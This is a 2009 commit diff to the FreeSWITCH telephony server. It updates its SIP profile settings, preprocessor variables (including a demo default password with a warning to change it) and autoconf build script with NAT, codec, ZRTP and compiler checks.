   <!-- Outbound Registrations -->
   <gateways>
@@ -45,24 +47,36 @@
     <param name="dialplan" value="XML"/>
     <param name="dtmf-duration" value="100"/>
     <param name="codec-prefs" value="$${global_codec_prefs}"/>
-    <param name="use-rtp-timer" value="true"/>
     <param name="rtp-timer-name" value="soft"/>
     <!-- ip address to use for rtp, DO NOT USE HOSTNAMES ONLY IP ADDRESSES -->
     <param name="rtp-ip" value="$${local_ip_v4}"/>
     <!-- ip address to bind to, DO NOT USE HOSTNAMES ONLY IP ADDRESSES -->
     <param name="sip-ip" value="$${local_ip_v4}"/>
     <param name="hold-music" value="$${hold_music}"/>
-    <param name="apply-nat-acl" value="rfc1918"/>
+    <param name="apply-nat-acl" value="nat.auto"/>
     <!--<param name="aggressive-nat-detection" value="true"/>-->
+    <!--
+	There are known issues (asserts and segfaults) when 100rel is enabled.
+	It is not recommended to enable 100rel at this time.
+    -->
     <!--<param name="enable-100rel" value="true"/>-->
+    <!--
+	enable/disable session timers 
+    -->
+    <!--<param name="enable-timer" value="false"/>-->
     <!--<param name="minimum-session-expires" value="120"/>-->
     <param name="apply-inbound-acl" value="domains"/>
+    <!--
+	This defines your local network, by default we detect your local network
+	and create this localnet.auto ACL for this.
+    -->
+    <param name="local-network-acl" value="localnet.auto"/>
     <!--<param name="apply-register-acl" value="domains"/>-->
     <!--<param name="dtmf-type" value="info"/>-->
     <param name="record-template" value="$${base_dir}/recordings/${caller_id_number}.${target_domain}.${strftime(%Y-%m-%d-%H-%M-%S)}.wav"/>
     <!--enable to use presence -->
     <param name="manage-presence" value="true"/>
-
+    <!--<param name="manage-shared-appearance" value="true"/>-->
     <!-- used to share presence info across sofia profiles -->
     <!-- Name of the db to use for this profile -->
     <!--<param name="dbname" value="share_presence"/>-->
@@ -93,6 +107,10 @@
     <param name="tls-cert-dir" value="$${internal_ssl_dir}"/>
     <!-- TLS version ("sslv23" (default), "tlsv1"). NOTE: Phones may not work with TLSv1 -->
     <param name="tls-version" value="$${sip_tls_version}"/>
+
+    <!-- turn on auto-flush during bridge (skip timer sleep when the socket already has data) 
+	 (reduces delay on latent connections default true, must be disabled explicitly)-->
+    <!--<param name="rtp-autoflush-during-bridge" value="false"/>-->
     
     <!--If you don't want to pass through timestamps from 1 RTP call to another (on a per call basis with rtp_rewrite_timestamps chanvar)-->
     <!--<param name="rtp-rewrite-timestamps" value="true"/>-->
@@ -124,6 +142,12 @@
     <!--Uncomment if you want to force the outbound leg of a bridge to only offer the codec 
 	that the originator is using-->
     <!--<param name="disable-transcoding" value="true"/>-->
+    <!-- Handle 302 Redirect in the dialplan -->
+    <!--<param name="manual-redirect" value="true"/> -->
+    <!-- Disable Transfer -->
+    <!--<param name="disable-transfer" value="true"/> -->
+    <!-- Disable Register -->
+    <!--<param name="disable-register" value="true"/> -->
     <!-- Used for when phones respond to a challenged ACK with method INVITE in the hash -->
     <!--<param name="NDLB-broken-auth-hash" value="true"/>-->
     <!-- add a ;received="<ip>:<port>" to the contact when replying to register for nat handling -->
@@ -133,8 +157,15 @@
     <param name="inbound-reg-force-matching-username" value="true"/>
     <!-- on authed calls, authenticate *all* the packets not just invite -->
     <param name="auth-all-packets" value="false"/>
-    <!-- <param name="ext-rtp-ip" value="$${external_rtp_ip}"/> -->
-    <!-- <param name="ext-sip-ip" value="$${external_sip_ip}"/> -->
+    <!--
+	Possible options for ext-rtp-ip or ext-sip-ip 
+
+	auto     - Use guessed ip.
+	auto-nat - Use ip learned from NAT-PMP or UPNP
+    -->
+    <param name="ext-rtp-ip" value="auto-nat"/>
+    <param name="ext-sip-ip" value="auto-nat"/>
+
     <!-- rtp inactivity timeout -->
     <param name="rtp-timeout-sec" value="300"/>
     <param name="rtp-hold-timeout-sec" value="1800"/>
@@ -187,6 +218,8 @@
     <!--<param name="inbound-use-callid-as-uuid" value="true"/>-->
     <!-- on outbound calls set the callid to match the uuid of the session -->
     <!--<param name="outbound-use-uuid-as-callid" value="true"/>-->
+    <!-- set to false disable this feature -->
+    <!--<param name="rtp-autofix-timing" value="false"/>-->
 
     <!-- clear clears them all or supply the name to add or the name prefixed with ~ to remove
 	 valid values:
@@ -197,6 +230,39 @@
 
     -->
     <!--<param name="auto-rtp-bugs" data="clear"/>-->
+
+	 <!-- the following can be used as workaround with bogus SRV/NAPTR records -->
+	 <!--<param name="disable-srv" value="false" />-->
+	 <!--<param name="disable-naptr" value="false" />-->
+
+	<!-- The following can be used to fine-tune timers within sofia's transport layer 
+		 Those settings are for advanced users and can safely be left as-is -->
+		
+	<!-- Initial retransmission interval (in milliseconds).
+		Set the T1 retransmission interval used by the SIP transaction engine. 
+		The T1 is the initial duration used by request retransmission timers A and E (UDP) as well as response retransmission timer G. 	 -->
+	<!-- <param name="timer-T1" value="500" /> -->
+	
+	<!--  Transaction timeout (defaults to T1 * 64).
+		Set the T1x64 timeout value used by the SIP transaction engine.
+		The T1x64 is duration used for timers B, F, H, and J (UDP) by the SIP transaction engine. 
+		The timeout value T1x64 can be adjusted separately from the initial retransmission interval T1. -->
+	<!-- <param name="timer-T1X64" value="32000" /> -->
+	
+	
+	<!-- Maximum retransmission interval (in milliseconds).
+		Set the maximum retransmission interval used by the SIP transaction engine. 
+		The T2 is the maximum duration used for the timers E (UDP) and G by the SIP transaction engine. 
+		Note that the timer A is not capped by T2. Retransmission interval of INVITE requests grows exponentially 
+		until the timer B fires.  -->
+	<!-- <param name="timer-T2" value="4000" /> -->
+		
+	<!--
+		Transaction lifetime (in milliseconds).
+		Set the lifetime for completed transactions used by the SIP transaction engine. 
+		A completed transaction is kept around for the duration of T4 in order to catch late responses. 
+		The T4 is the maximum duration for the messages to stay in the network and the duration of SIP timer K. -->
+	<!-- <param name="timer-T4" value="4000" /> -->
     
   </settings>
 </profile>

Modified: freeswitch/branches/seven/conf/vars.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/vars.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/vars.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,20 @@
+<include>
   <!-- Preprocessor Variables
        These are introduced when configuration strings must be consistent across modules. 
-   -->
+       NOTICE: YOU CAN NOT COMMENT OUT AN X-PRE-PROCESS line, Remove the line instead.
+       
+       WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING 
+       
+       YOU SHOULD CHANGE THIS default_password value if you don't want to be subject to any
+       toll fraud in the future.  It's your responsibility to secure your own system.
+       
+       This default config is used to demonstrate the feature set of FreeSWITCH.
+       
+       WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING 
+  -->
+  <X-PRE-PROCESS cmd="set" data="default_password=1234"/>
+  <!-- Did you change it yet? -->
+
   <X-PRE-PROCESS cmd="set" data="sound_prefix=$${base_dir}/sounds/en/us/callie"/>
   <!--
       This setting is what sets the default domain FreeSWITCH will use if all else fails.
@@ -10,14 +24,17 @@
       information on this topic.
   -->
   <X-PRE-PROCESS cmd="set" data="domain=$${local_ip_v4}"/>
+  <X-PRE-PROCESS cmd="set" data="domain_name=$${domain}"/>
   <X-PRE-PROCESS cmd="set" data="hold_music=local_stream://moh"/>
+  <X-PRE-PROCESS cmd="set" data="use_profile=internal"/>
+
   <!--
-      xmpp_client_profile and xmpp_server_profile
-      xmpp_client_profile can be any string. 
-      xmpp_server_profile is appended to "dingaling_" to form the database name
-      containing the "subscriptions" table.
-      used by: dingaling.conf.xml enum.conf.xml 
-  --> 
+      Enable ZRTP globally you can override this on a per channel basis
+      
+      http://wiki.freeswitch.org/wiki/ZRTP (on how to enable zrtp)
+  -->
+  <X-PRE-PROCESS cmd="set" data="zrtp_secure_media=true"/>
+
   <!-- 
        Examples of codec options: (module must be compiled and loaded)
        
@@ -68,8 +85,17 @@
        H264             - H.264 Video
 
   -->
-  <X-PRE-PROCESS cmd="set" data="global_codec_prefs=G722,PCMU,PCMA,GSM"/>
+  <X-PRE-PROCESS cmd="set" data="global_codec_prefs=G7221@32000h,G7221@16000h,G722,PCMU,PCMA,GSM"/>
   <X-PRE-PROCESS cmd="set" data="outbound_codec_prefs=PCMU,PCMA,GSM"/>
+
+  <!--
+      xmpp_client_profile and xmpp_server_profile
+      xmpp_client_profile can be any string. 
+      xmpp_server_profile is appended to "dingaling_" to form the database name
+      containing the "subscriptions" table.
+      used by: dingaling.conf.xml enum.conf.xml 
+  --> 
+
   <X-PRE-PROCESS cmd="set" data="xmpp_client_profile=xmppc"/>
   <X-PRE-PROCESS cmd="set" data="xmpp_server_profile=xmpps"/>
   <!-- 
@@ -92,16 +118,25 @@
   -->
 
   <!-- external_rtp_ip
-       Used as the public IP address for SDP.
-       Can be an ip address or a string like "stun:stun.server.com" 
+       Can be an one of:
+           ip address: "12.34.56.78"
+           a stun server lookup: "stun:stun.server.com"
+           a DNS name: "host:host.server.com"
+       where fs.mydomain.com is a DNS A record-useful when fs is on
+       a dynamic IP address, and uses a dynamic DNS updater.
        If unspecified, the bind_server_ip value is used.
        Used by: sofia.conf.xml dingaling.conf.xml
   -->
   <X-PRE-PROCESS cmd="set" data="external_rtp_ip=stun:stun.freeswitch.org"/>
 
   <!-- external_sip_ip
-       Used as the public IP address for SDP.
-       Can be an ip address or a string like "stun:stun.server.com" 
+      Used as the public IP address for SDP.
+       Can be an one of:
+           ip address: "12.34.56.78"
+           a stun server lookup: "stun:stun.server.com"
+           a DNS name: "host:host.server.com"
+       where fs.mydomain.com is a DNS A record-useful when fs is on
+       a dynamic IP address, and uses a dynamic DNS updater.
        If unspecified, the bind_server_ip value is used.
        Used by: sofia.conf.xml dingaling.conf.xml
   -->
@@ -127,9 +162,10 @@
   <X-PRE-PROCESS cmd="set" data="default_country=US"/>
 
   <X-PRE-PROCESS cmd="set" data="uk-ring=%(400,200,400,450);%(400,2200,400,450)"/>
-  <X-PRE-PROCESS cmd="set" data="us-ring=%(2000, 4000, 440.0, 480.0)"/>
-  <X-PRE-PROCESS cmd="set" data="fr-ring=%(1500, 3500, 440.0, 0.0)"/>
-  <X-PRE-PROCESS cmd="set" data="rs-ring=%(1000, 4000, 425.0, 0.0)"/>
+  <X-PRE-PROCESS cmd="set" data="us-ring=%(2000,4000,440.0,480.0)"/>
+  <X-PRE-PROCESS cmd="set" data="fr-ring=%(1500,3500,440.0,0.0)"/>
+  <X-PRE-PROCESS cmd="set" data="rs-ring=%(1000,4000,425.0,0.0)"/>
+  <X-PRE-PROCESS cmd="set" data="ru-ring=%(350,350,425)"/>
   <X-PRE-PROCESS cmd="set" data="bong-ring=v=-7;%(100,0,941.0,1477.0);v=-7;>=2;+=.1;%(1400,0,350,440)"/>
   <X-PRE-PROCESS cmd="set" data="sit=%(274,0,913.8);%(274,0,1370.6);%(380,0,1776.7)"/>
   <!--
@@ -147,7 +183,7 @@
   <X-PRE-PROCESS cmd="set" data="default_provider_contact=5000"/>
 
   <!--
-      SIP and TLS settings.
+      SIP and TLS settings. http://wiki.freeswitch.org/wiki/Tls
   -->
   <X-PRE-PROCESS cmd="set" data="sip_tls_version=tlsv1"/>
 
@@ -164,3 +200,4 @@
   <X-PRE-PROCESS cmd="set" data="external_tls_port=5081"/>
   <X-PRE-PROCESS cmd="set" data="external_ssl_enable=false"/>
   <X-PRE-PROCESS cmd="set" data="external_ssl_dir=$${base_dir}/conf/ssl"/>
+</include>

Modified: freeswitch/branches/seven/configure.in (14471 => 14472)


--- freeswitch/branches/seven/configure.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/configure.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,7 +35,6 @@
 AC_ARG_WITH([modinstdir],
 	[AS_HELP_STRING([--with-modinstdir=DIR], [Install modules into this location (default: $prefix/mod)])], [modinstdir="$withval"], [modinstdir="${prefix}/mod"])
 
-
 AC_SUBST(modinstdir)
 AC_DEFINE_UNQUOTED([SWITCH_MOD_DIR],"${modinstdir}",[where to install the modules to])
 
@@ -53,6 +52,18 @@
 # Checks for programs.
 AC_PROG_CC
 AC_PROG_CXX
+
+#check if the g++ compiler works
+AC_CACHE_CHECK([whether the C++ compiler works], [ac_cv_sys_cxx_works], [
+    AC_LANG_PUSH([C++])
+    AC_COMPILE_IFELSE([int main() { }], [ac_cv_sys_cxx_works=yes],
+        [ac_cv_sys_cxx_works=no])
+    AC_LANG_POP([C++])
+    ])
+[ if [ "x$ac_cv_sys_cxx_works" = "xno" ]; then ]
+    AC_MSG_FAILURE([The C++ compiler does not work. Please (re)install the C++ compiler])
+[ fi ]
+
 AC_PROG_AWK
 AC_PROG_MAKE_SET
 AC_PROG_INSTALL
@@ -76,31 +87,10 @@
         AX_CC_MAXOPT
 fi
 
-
-# Optional Features
-
-AC_ARG_ENABLE(resample,
-[AC_HELP_STRING([--disable-resample],[build without embedded resampler])],[enable_resample="$enableval"],[enable_resample="yes"])
-
-# We should add checking for out of tree libresample here
-RESAMPLE_LIB=
-RESAMPLE_CFLAGS=
-if test "${enable_resample}" = "yes"; then
-       RESAMPLE_LIB="libs/libresample/libresample.la"
-       RESAMPLE_CFLAGS="-I${switch_srcdir}/libs/libresample/include"
-else
-        AC_DEFINE([DISABLE_RESAMPLE],[],[Disable the embedded resampler])
-fi
-
-AC_SUBST(RESAMPLE_LIB)
-AC_SUBST(RESAMPLE_CFLAGS)
-
-AM_CONDITIONAL([USE_INTREE_RESAMPLE],[test "${enable_resample}" = "yes"])
-
 # set defaults for use on all platforms
 SWITCH_AM_CFLAGS="-I${switch_srcdir}/src/include -I${switch_srcdir}/libs/libteletone/src"
 SWITCH_AM_CXXFLAGS="-I${switch_srcdir}/src/include -I${switch_srcdir}/libs/libteletone/src"
-SWITCH_AM_LDFLAGS="-lm -L/usr/local/lib"
+SWITCH_AM_LDFLAGS="-lm"
 
 #set SOLINK variable based on compiler and host
 if test "x${ax_cv_c_compiler_vendor}"  =  "xsun" ; then
@@ -132,6 +122,30 @@
     ;;
 esac
 
+##
+# detect libtool major version,
+# set libtool library extension based on this
+# to work around some brokeness when using 'la' with libtool-1.5
+#
+AC_MSG_CHECKING([libtool major version])
+libtool="${switch_builddir}/libtool"
+LIBTOOL_MAJOR_VERSION="`$libtool --version 2>/dev/null| sed -e 's/([[^)]]*)//g;s/^[[^0-9]]*//;s/[[- ]].*//g;q'| awk  'BEGIN { FS = "." } { print $1 }' `"
+if test -z "$LIBTOOL_MAJOR_VERSION" ; then
+	LIBTOOL_MAJOR_VERSION="`sed -n -e '/^VERSION/{s/^.*=\"\?\([[0-9]]\+\)\..\+/\1/;p;}' ${switch_srcdir}/build/config/ltmain.sh`"
+fi
+if test -z "$LIBTOOL_MAJOR_VERSION" ; then
+	AC_MSG_ERROR([Failed to detect your libtool version, please open a bug report on http://jira.freeswitch.org/])
+fi
+AC_MSG_RESULT([${LIBTOOL_MAJOR_VERSION}])
+
+LIBTOOL_LIB_EXTEN="$DYNAMIC_LIB_EXTEN"
+
+if test "${LIBTOOL_MAJOR_VERSION}" = "2" ; then
+   LIBTOOL_LIB_EXTEN="la"
+fi
+AC_MSG_RESULT([using libtool library extension... ${LIBTOOL_LIB_EXTEN}])
+
+
 #  Enable 64 bit build
 AC_ARG_ENABLE(64,
 [AC_HELP_STRING([--enable-64],[build with 64 bit support])],[enable_64="$enable_64"],[enable_64="no"])
@@ -140,6 +154,9 @@
 if test "x${ax_cv_c_compiler_vendor}"  =  "xsun" ; then
     APR_ADDTO(SWITCH_AM_CFLAGS, -KPIC)
     APR_ADDTO(SWITCH_AM_CFLAGS, -DPIC)
+    APR_ADDTO(SWITCH_AM_CFLAGS, -erroff=E_END_OF_LOOP_CODE_NOT_REACHED)
+    APR_ADDTO(SWITCH_AM_CFLAGS, -errtags=yes)
+    APR_ADDTO(SWITCH_AM_CXXFLAGS, -errtags=yes)
     APR_ADDTO(SWITCH_AM_CXXFLAGS, -KPIC)
     APR_ADDTO(SWITCH_AM_CXXFLAGS, -DPIC)
     APR_ADDTO(SWITCH_AM_CXXFLAGS, "-features=extensions")
@@ -149,13 +166,87 @@
         APR_ADDTO(SWITCH_AM_CFLAGS, -m64)
         APR_ADDTO(SWITCH_AM_CXXFLAGS, -m64)
         APR_ADDTO(SWITCH_AM_LDFLAGS, -m64)
+	LIBS="$LIBS -m64"
     fi
 elif test "x${ax_cv_c_compiler_vendor}" = "xgnu" ; then
     APR_ADDTO(SWITCH_AM_CFLAGS, -fPIC)
     APR_ADDTO(SWITCH_AM_CXXFLAGS, -fPIC)
     APR_ADDTO(SWITCH_AM_CFLAGS, -Werror)
+    if test "${enable_64}" = "yes"; then
+	LIBS="$LIBS -m64"
+    fi
 fi
 
+#
+# gcc visibility cflag checks
+#
+AC_ARG_ENABLE([visibility],
+	[AS_HELP_STRING([--disable-visibility], [Disable or enable API visibility support (default: use if available)])],
+	[enable_visibility="${enableval}"],
+	[enable_visibility="detect"]
+)
+HAVE_VISIBILITY="no"
+
+if test "x${enable_visibility}" != "xno" ; then
+
+	case "${ax_cv_c_compiler_vendor}" in
+	gnu)
+		save_CFLAGS="${CFLAGS}"
+		CFLAGS="${CFLAGS} -fvisibility=hidden"
+		AC_MSG_CHECKING([whether the compiler supports -fvisibility=hidden])
+		AC_COMPILE_IFELSE(
+			[AC_LANG_PROGRAM(
+				[int foo __attribute__ ((visibility("default")));],
+				[;]
+			)],
+
+			[AC_MSG_RESULT([yes])
+			 APR_ADDTO([SWITCH_AM_CFLAGS],   [-fvisibility=hidden -DSWITCH_API_VISIBILITY=1 -DHAVE_VISIBILITY=1])
+			 APR_ADDTO([SWITCH_AM_CXXFLAGS], [-fvisibility=hidden -DSWITCH_API_VISIBILITY=1 -DHAVE_VISIBILITY=1])
+			 HAVE_VISIBILITY="yes"],
+
+			[AC_MSG_RESULT([no])]
+		)
+		CFLAGS="${save_CFLAGS}"
+		;;
+
+	sun)
+	#	save_CFLAGS="${CFLAGS}"
+	#	CFLAGS="${CFLAGS} -xldscope=hidden"
+	#	AC_MSG_CHECKING([whether the compiler supports -xldscope=hidden])
+	#	AC_COMPILE_IFELSE(
+	#		[AC_LANG_PROGRAM(
+	#			[int foo __attribute__ ((visibility("default")));],
+	#			[;]
+	#		)],
+	#
+	#		[AC_MSG_RESULT([yes])
+	#		 APR_ADDTO([SWITCH_AM_CFLAGS],   [-xldscope=hidden -DSWITCH_API_VISIBILITY=1 -DHAVE_VISIBILITY=1])
+	#		 APR_ADDTO([SWITCH_AM_CXXFLAGS], [-xldscope=hidden -DSWITCH_API_VISIBILITY=1 -DHAVE_VISIBILITY=1])
+	#		 HAVE_VISIBILITY="yes"],
+	#
+	#		[AC_MSG_RESULT([no])]
+	#	)
+	#	CFLAGS="${save_CFLAGS}"
+		;;
+
+	*)
+		if test "x${enable_visibility}" = "xyes" ; then
+			AC_MSG_ERROR([Non-GNU / SUN compilers are currently unsupported])
+		else
+			AC_MSG_WARN([Non-GNU / SUN compilers are currently unsupported])
+		fi
+		;;
+	esac
+
+	#
+	# visibility explicitly requested but not supported by this compiler => error
+	#
+	if test "x${enable_visibility}" = "xyes" -a "x${HAVE_VISIBILITY}" = "xno" ; then
+		AC_MSG_ERROR([API visibility not supported by this compiler])
+	fi
+fi
+
 # Enable debugging (default: on)
 # (rename option if the default is changed)
 AC_ARG_ENABLE(debug,
@@ -172,8 +263,30 @@
 
 fi
 
+AC_ARG_ENABLE(zrtp,
+	[AS_HELP_STRING([--enable-zrtp], [Compile with zrtp Support])],,[enable_zrtp="no"])
+if test "x$enable_zrtp" = "xyes" ; then
+   saved_LIBS=$LIBS
+   LIBS="$saved_LIBS -L/usr/local/lib -lbn -lpthread"
+   AC_CHECK_LIB(zrtp, zrtp_init, [has_zrtp="yes"], [has_zrtp="no"])
+   LIBS=$saved_LIBS
+   if test "x$has_zrtp" = "xno"; then
+      AC_ERROR([Cannot locate zrtp libraries])
+   fi
+   APR_ADDTO(SWITCH_AM_CFLAGS, -DENABLE_ZRTP)
+fi
+AM_CONDITIONAL([ENABLE_ZRTP],[test "x$enable_zrtp" != "xno"])
+
+
 AM_CONDITIONAL([WANT_DEBUG],[test "${enable_debug}" = "yes"])
 
+AC_ARG_ENABLE(core-odbc-support,     
+	[AS_HELP_STRING([--enable-core-odbc-support], [Compile with ODBC Support])],,[enable_core_odbc_support="no"])
+AX_LIB_ODBC
+if test "$ac_cv_found_odbc" = "yes" ; then
+  enable_core_odbc_support="yes"
+fi
+
 ESL_LDFLAGS=
 PLATFORM_CORE_DEPLIBS=
 # tweak platform specific flags
@@ -187,7 +300,7 @@
     ;;
     *-solaris2*)
         APR_ADDTO(SWITCH_AM_CFLAGS, -DPATH_MAX=2048)
-        APR_ADDTO(ESL_LDFLAGS, -lnsl)
+        APR_ADDTO(ESL_LDFLAGS, -lnsl -lsocket)
     ;;
     *bsd*)
         APR_ADDTO(SWITCH_AM_CFLAGS, -I/usr/local/include)
@@ -203,6 +316,7 @@
 AC_SUBST(PLATFORM_CORE_DEPLIBS)
 AC_SUBST(SOLINK)
 AC_SUBST(DYNAMIC_LIB_EXTEN)
+AC_SUBST(LIBTOOL_LIB_EXTEN)
 
 # Checks for header files.
 AC_HEADER_DIRENT
@@ -229,7 +343,7 @@
 AC_FUNC_MALLOC
 AC_TYPE_SIGNAL
 AC_FUNC_STRFTIME
-AC_CHECK_FUNCS([gethostname vasprintf mmap mlock mlockall usleep])
+AC_CHECK_FUNCS([gethostname vasprintf mmap mlock mlockall usleep getifaddrs])
 AC_CHECK_FUNCS([sched_setscheduler setpriority setrlimit setgroups initgroups])
 AC_CHECK_FUNCS([wcsncmp setgroups asprintf setenv pselect gettimeofday localtime_r gmtime_r strcasecmp stricmp _stricmp])
 
@@ -237,6 +351,14 @@
 AC_CHECK_LIB(rt, clock_nanosleep, [AC_DEFINE(HAVE_CLOCK_NANOSLEEP, 1, [Define if you have clock_nanosleep()])])
 AC_CHECK_FUNC(socket, , AC_CHECK_LIB(socket, socket))
 
+AC_CHECK_MEMBERS([struct tm.tm_gmtoff],,,[
+#include <sys/types.h>
+#include <time.h>])
+
+AC_CHECK_MEMBERS([struct tm.tm_zone],,,[
+#include <sys/types.h>
+#include <time.h>])
+
 AC_CHECK_DECL([RLIMIT_MEMLOCK],
 	[AC_DEFINE([HAVE_RLIMIT_MEMLOCK],[1],[RLIMIT_MEMLOCK constant for setrlimit])],,
 	[#ifdef HAVE_SYS_RESOURCE_H
@@ -365,6 +487,16 @@
     uint64_t_fmt='#define SWITCH_UINT64_T_FMT "lu"'
     int64_value="long"
     long_value=long
+    case "$host" in
+        *-solaris2*|*apple-darwin*)
+	    if test "$ac_cv_sizeof_long_long" = "8"; then
+	        int64_t_fmt='#define SWITCH_INT64_T_FMT "lld"'
+		uint64_t_fmt='#define SWITCH_UINT64_T_FMT "llu"'
+		int64_value="long long"
+		long_value="long long"
+	    fi
+	;;
+    esac
 elif test "$ac_cv_sizeof_long_long" = "8"; then
     int64_t_fmt='#define SWITCH_INT64_T_FMT "lld"'
     uint64_t_fmt='#define SWITCH_UINT64_T_FMT "llu"'
@@ -479,8 +611,6 @@
 LIBCURL_CHECK_CONFIG([yes], [7.13.0], [LIBCURL_DEPS=''], [LIBCURL_DEPS='${switch_srcdir}/libs/curl/lib/libcurl.la';LIBCURL='${switch_srcdir}/libs/curl/lib/libcurl.la';LIBCURL_CPPFLAGS='-I${switch_srcdir}/libs/curl/include'])
 AC_SUBST(LIBCURL_DEPS)
 
-AC_ARG_ENABLE(core-odbc-support,     
-	[AS_HELP_STRING([--enable-core-odbc-support], [Compile with ODBC Support])],,[enable_core_odbc_support="no"])
 
 AC_ARG_ENABLE(core-libedit-support,     
 	[AS_HELP_STRING([--disable-core-libedit-support], [Compile without libedit Support])], [enable_core_libedit_support="$enableval"], [enable_core_libedit_support="yes"])
@@ -491,8 +621,15 @@
           [AC_MSG_ERROR([libtermcap, libcurses or libncurses are required!])] )] )
 fi
 
+SAC_OPENSSL
+
+if test x$HAVE_OPENSSL = x1; then
+	openssl_CFLAGS="$openssl_CFLAGS -DHAVE_OPENSSL";
+fi
+
 AX_CHECK_JAVA
 
+
 AM_CONDITIONAL([ADD_ODBC],[test "x$enable_core_odbc_support" != "xno"])
 AM_CONDITIONAL([ADD_LIBEDIT],[test "x$enable_core_libedit_support" != "xno"])
 AM_CONDITIONAL([HAVE_MYSQL],[test "$found_mysql" = "yes"])
@@ -618,13 +755,16 @@
 	AC_MSG_WARN([python support disabled, building mod_python will fail!])
 fi
 
+CHECK_ERLANG
+
 AC_CONFIG_FILES([Makefile
                 src/Makefile
                 src/mod/Makefile
                 src/mod/endpoints/mod_sofia/Makefile
-                src/mod/event_handlers/mod_radius_cdr/Makefile
+                src/mod/asr_tts/mod_unimrcp/Makefile
                 src/mod/languages/mod_java/Makefile
                 src/mod/languages/mod_python/Makefile
+                src/mod/event_handlers/mod_erlang_event/Makefile
                 src/include/switch_am_config.h
                 build/getsounds.sh
                 build/getlib.sh
@@ -641,16 +781,16 @@
 #LIBS+=> core.log || error="yes";if test -n "$(VERBOSE)" -o "$$error" = "yes";then cat core.log;fi;if test "$$error" = "yes";then exit 1;fi
 LIBTOOL='`if test -z "$(VERBOSE)" ; then echo $(SHELL) $(switch_builddir)/quiet_libtool ;else echo $(switch_builddir)/libtool; fi;`'
 TOUCH_TARGET='if test -f "$@";then touch "$@";fi;'
-CONF_MODULES='\`grep -v "\#" $(switch_builddir)/modules.conf | sed -e "s|^.*/||" | sort | uniq \`'
-CONF_DISABLED_MODULES='\`grep "\#" $(switch_builddir)/modules.conf | sed -e "s|^.*/||" | sort | uniq \`'
-OUR_MODS='`if test -z "$(MODULES)" ; then tmp_mods="$(CONF_MODULES)"; else tmp_mods="$(MODULES)" ; fi ; mods=\`for i in $$tmp_mods ; do echo $$i-all ; done \`; echo $$mods `'
-OUR_CLEAN_MODS='`if test -z "$(MODULES)" ; then tmp_mods="$(CONF_MODULES)"; else tmp_mods="$(MODULES)" ; fi ; mods=\`for i in $$tmp_mods ; do echo $$i-clean ; done \`; echo $$mods `'
-OUR_INSTALL_MODS='`if test -z "$(MODULES)" ; then tmp_mods="$(CONF_MODULES)"; else tmp_mods="$(MODULES)" ; fi ; mods=\`for i in $$tmp_mods ; do echo $$i-install ; done\`; echo $$mods `'
-OUR_UNINSTALL_MODS='`if test -z "$(MODULES)" ; then tmp_mods="$(CONF_MODULES)"; else tmp_mods="$(MODULES)" ; fi ; mods=\`for i in $$tmp_mods ; do echo $$i-uninstall ; done\`; echo $$mods `'
-OUR_DISABLED_MODS='`tmp_mods="$(CONF_DISABLED_MODULES)"; mods=\`for i in $$tmp_mods ; do echo $$i-all ; done \`; echo $$mods `'
-OUR_DISABLED_CLEAN_MODS='`tmp_mods="$(CONF_DISABLED_MODULES)";  mods=\`for i in $$tmp_mods ; do echo $$i-clean ; done \`; echo $$mods `'
-OUR_DISABLED_INSTALL_MODS='`tmp_mods="$(CONF_DISABLED_MODULES)"; mods=\`for i in $$tmp_mods ; do echo $$i-install ; done\`; echo $$mods `'
-OUR_DISABLED_UNINSTALL_MODS='`tmp_mods="$(CONF_DISABLED_MODULES)"; mods=\`for i in $$tmp_mods ; do echo $$i-uninstall ; done\`; echo $$mods `'
+CONF_MODULES='$$(grep -v "\#" $(switch_builddir)/modules.conf | sed -e "s|^.*/||" | sort | uniq )'
+CONF_DISABLED_MODULES='$$(grep "\#" $(switch_builddir)/modules.conf | grep -v "\#\#" | sed -e "s|^.*/||" | sort | uniq )'
+OUR_MODS='$$(if test -z "$(MODULES)" ; then tmp_mods="$(CONF_MODULES)"; else tmp_mods="$(MODULES)" ; fi ; mods="$$(for i in $$tmp_mods ; do echo $$i-all ; done )"; echo $$mods )'
+OUR_CLEAN_MODS='$$(if test -z "$(MODULES)" ; then tmp_mods="$(CONF_MODULES)"; else tmp_mods="$(MODULES)" ; fi ; mods="$$(for i in $$tmp_mods ; do echo $$i-clean ; done )"; echo $$mods )'
+OUR_INSTALL_MODS='$$(if test -z "$(MODULES)" ; then tmp_mods="$(CONF_MODULES)"; else tmp_mods="$(MODULES)" ; fi ; mods="$$(for i in $$tmp_mods ; do echo $$i-install ; done)"; echo $$mods )'
+OUR_UNINSTALL_MODS='$$(if test -z "$(MODULES)" ; then tmp_mods="$(CONF_MODULES)"; else tmp_mods="$(MODULES)" ; fi ; mods="$$(for i in $$tmp_mods ; do echo $$i-uninstall ; done)"; echo $$mods )'
+OUR_DISABLED_MODS='$$(tmp_mods="$(CONF_DISABLED_MODULES)"; mods="$$(for i in $$tmp_mods ; do echo $$i-all ; done )"; echo $$mods )'
+OUR_DISABLED_CLEAN_MODS='$$(tmp_mods="$(CONF_DISABLED_MODULES)";  mods="$$(for i in $$tmp_mods ; do echo $$i-clean ; done )"; echo $$mods )'
+OUR_DISABLED_INSTALL_MODS='$$(tmp_mods="$(CONF_DISABLED_MODULES)"; mods="$$(for i in $$tmp_mods ; do echo $$i-install ; done)"; echo $$mods )'
+OUR_DISABLED_UNINSTALL_MODS='$$(tmp_mods="$(CONF_DISABLED_MODULES)"; mods="$$(for i in $$tmp_mods ; do echo $$i-uninstall ; done)"; echo $$mods )'
 
